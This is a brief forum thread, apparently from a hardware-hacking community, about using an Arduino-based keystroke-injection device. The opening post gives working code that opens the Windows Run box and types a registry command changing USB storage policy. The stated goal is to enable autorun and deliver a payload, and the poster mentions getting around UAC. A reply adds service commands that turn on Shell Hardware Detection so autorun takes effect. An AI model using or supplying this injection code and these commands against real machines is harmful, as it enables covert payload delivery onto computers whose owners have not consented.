illwill Posted April 19, 2010 Share Posted April 19, 2010 (edited) Since the arduino gives you more control wouldnt it make sense to have the ducky push out a command like CommandAtRunBar("reg ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies /v Writeprotect /t REG_DWORD /d 0 /f"); void CommandAtRunBar(char *SomeCommand) { delay(2000); Keyboard.set_modifier(128); //Windows key Keyboard.set_key1(KEY_R); // use r key Keyboard.send_now(); Keyboard.set_modifier(0); //prep release of control keys Keyboard.set_key1(0); //have to do this to keep it from hitting key multiple times. Keyboard.send_now(); //Send the key changes delay(1000); Keyboard.print(SomeCommand); Keyboard.set_key1(KEY_ENTER); Keyboard.send_now(); Keyboard.set_key1(0); Keyboard.send_now(); } to enable usb autorun, then have it complete a connection to a hub/flash drive to deliver the payload I know people are trying to mimic starting cmd.exe and bypassing the UAC prompt so it should be no problem to get this to work on vista/7 Edited April 19, 2010 by I AM WILL Quote Link to comment Share on other sites More sharing options...
projectgeekland Posted April 27, 2010 Share Posted April 27, 2010 I like where you are going with this. Quote Link to comment Share on other sites More sharing options...
Cerolobo Posted April 27, 2010 Share Posted April 27, 2010 You might want to add "&& sc config ShellHWDetection start= auto && sc start ShellHWDetection" Enabling the autorun regkey will do nothing if Shell Hardware Detection is disabled. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.